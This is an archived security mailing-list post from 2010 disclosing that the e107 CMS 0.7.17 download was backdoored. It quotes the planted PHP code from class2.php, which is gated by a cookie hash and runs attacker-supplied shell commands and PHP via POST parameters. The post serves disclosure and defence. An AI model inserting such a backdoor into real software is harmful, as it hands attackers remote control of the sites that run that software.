Backdoor in e107 CMS version 0.7.17
[Posted January 25, 2010 by jake]
| From: |
| Bogdan Calin <bogdan-AT-acunetix.com> |
| To: |
| full-disclosure-AT-lists.grok.org.uk |
| Subject: |
| e107 latest download link is backdoored |
| Date: |
| Mon, 25 Jan 2010 12:58:50 +0200 |
| Message-ID: |
| <4B5D796A.2020203@acunetix.com> |
| Cc: |
| bugtraq-AT-securityfocus.com |
| Archive‑link: | |
Article |
Hi guys,
The latest version of e107, version 0.7.17 contains a PHP backdoor.
http://e107.org/e107_files/downloads/e107_v0.7.17_full.zip
I've just downloaded this file and while looking through the code, I've
found the following piece of code:
file: class2.php, line: 1876
if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {
...
if(!empty($_POST['cmd'])){
$out = execute($_POST['cmd']);
}
elseif(!empty($_POST['php'])){
ob_start();
eval($_POST['php']);
$out = ob_get_contents();
ob_end_clean();
}
...
and so on.
I've informed the e107 guys about this situation.
For now, that link is not safe.
Look at the file date, class2.php has been modified on 2010-01-23, 21:52:26
--
Bogdan Calin - bogdan@acunetix.com
CTO
Acunetix Ltd. - http://www.acunetix.com
Acunetix Web Security Blog - http://www.acunetix.com/blog